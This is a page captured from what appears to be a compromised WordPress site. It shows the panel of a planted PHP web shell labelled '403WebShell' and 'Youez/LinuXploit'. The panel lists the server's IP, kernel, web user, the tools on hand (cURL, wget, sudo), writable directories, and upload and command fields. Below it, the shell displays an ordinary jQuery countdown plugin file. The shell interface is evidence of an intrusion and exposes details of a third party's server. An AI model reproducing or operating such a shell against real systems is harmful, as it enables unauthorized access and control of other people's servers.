Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_www/wp-content/plugins/youtube-schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_www/wp-content/plugins/youtube-schedule/countdown.js
/* JQuery plugin written by Phil , hostz.org 
  this is not freeware or GPL - written permission is required to use.  email phil@hostz...
*/

jQuery.fn.extend({
	countdown: function(options) {

		var settings = jQuery.extend({
			fmt			: 'hh:mm:ss',
			target		: new Date(2020, 11, 31, 0, 0, 0, 0),
			starttime   : new Date()
			}, options);
		var htm = createhtml();
		return this.each( function() {
			var x = jQuery(this).html(htm);
			initialize(x);
			drawframe(x);
		});
		
		function createhtml() {
			var digits = settings.fmt;
			var l = digits.length;
			var result = '<div class="cdownsep"></div>';

			for (var i = 0; i < l; i++) {
				var ch = digits.charAt(i);
				if (ch >= 'a' && ch <= 'z') {
					result += '<div id="cdown' + i.toString() + '" class="cdowncell"></div>';
				} else {
					result += '<div class="cdownsep">' + ch + '</div>';
				}
			}
			result += '<div style="clear:both"></div>';
			result += '<div class="legend" style="width:30px"></div>'
// add captions
			var n, label = '', n;
			for (var i = 0; i < l; i++) {
				var ch = digits.charAt(i);
				if (ch >= 'a' && ch <= 'z') {
					switch(ch) {
						case 'd' : label = 'days'; break;
						case 'h' : label = 'hours'; break;
						case 'm' : label = 'minutes'; break;
						case 's' : label = 'seconds'; break;
						default: label = '';
					}
					n = 0;
					while(i < l && digits.charAt(i) == ch) {
						i++; n++;
					}
					i--;
					n *= 66;
					result += '<div class="legend" style="width:' + n + 'px">' + label + '</div>';
				} else {
					result += '<div class="legend" style="width:30px"></div>';
				}
			}
			result += '<div style="clear:both"></div>';
			return result;
		}
		
		function initialize(x) {
			x.segments = [];
			x.ticker = 15;
			var digits = settings.fmt;
			var l = digits.length;
			for (var i = 0; i < l; i++) {
				var ch = digits.charAt(i);
				if (ch >= 'a' && ch <= 'z') {
					var segment = [];
					segment.obj = x.find('#cdown' + i.toString());
					segment.old = '-1';
					segment.display_row = -1;
					x.segments.push(segment);
				}
			}
			prepareValue(x);
			x.tick = setInterval(function() {
				timerEvent(x);
			}, 1000 / 25);
		}
		
		function timerEvent(display) {
			if (display.ticker >= 25) display.ticker = 0;
			if (!display.ticker) prepareValue(display);
			drawframe(display);
			display.ticker++;
		}
	
		function _pad(value, size) {
			return ('0000' + value).substr(-size,size);
		}
		
		function prepareValue(display) {
			var now = new Date();
			var difference;
			if (settings.current) {
				var elapsed =  (now.getTime() - settings.starttime.getTime()) / 1000;
				difference = settings.dest - (settings.current + elapsed);
			} else {
				difference =  (settings.target.getTime() - now.getTime()) / 1000;
			}
			if (difference < 0) difference = 0;	// past time of scheduled event
			difference =  Math.floor(difference);	// this is the number of seconds until the target time
			
			var ss = difference % 60;	difference = Math.floor(difference / 60);
			var mm = difference % 60;	difference = Math.floor(difference / 60);
			var hh = difference % 24;	difference = Math.floor(difference / 24);	// difference is now days
			
			var digits = settings.fmt;
			mask = digits.replace('ss', _pad(ss, 2));
			mask = mask.replace('mm', _pad(mm, 2));
			mask = mask.replace('hh', _pad(hh, 2));
			mask = mask.replace('ddd', _pad(difference, 3));
			mask = mask.replace('dd', _pad(difference, 2));
			mask = mask.replace('d', _pad(difference, 1));
			settings.value = mask;
			
			var l = digits.length;
			var c = 0;
			for (var i = 0; i < l; i++) {
				var ch = digits.charAt(i);
				if (ch >= 'a' && ch <= 'z') {
					display.segments[c].value = mask.charAt(i);
					c++;
				}
			}
		}
		
		function drawsegment(segment, ticker) {
			var x = ticker;
			var new_y, old_y;
			if (!x || segment.display_row == -1) {
				new_y = parseInt(segment.value);
				old_y = parseInt(segment.old);
				segment.display_row = new_y;
				if (!old_y) {
					switch(new_y) {
						case 9: segment.display_row = 9; break;
						case 5: segment.display_row = 10; break;
						case 2: segment.display_row = 11; break;
					}
				}
			}
			if (segment.old == segment.value) return;

			if (x >= 15) {
				segment.old = segment.value;
				x = 15;
			}
			y = segment.display_row * 98; x *= 90;
			segment.obj.css('background-position', '-' + x + 'px -' + y + 'px');
		}
		
		function drawframe(display){
			for (i = 0; i < display.segments.length; i++) {
				drawsegment(display.segments[i], display.ticker);
			}
		}
	}
});


jQuery(function() {
	jQuery('.bind-scheduled-event').on('change', function(e) {
		let $ = jQuery.noConflict();
		let $option = $('option', this).filter(':selected');
		let value = $option.data('start');
		if (value != undefined) $('#e_time').val(value);
		value = $option.data('type');
		if (value != undefined) $('#eventtype').val(value);
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit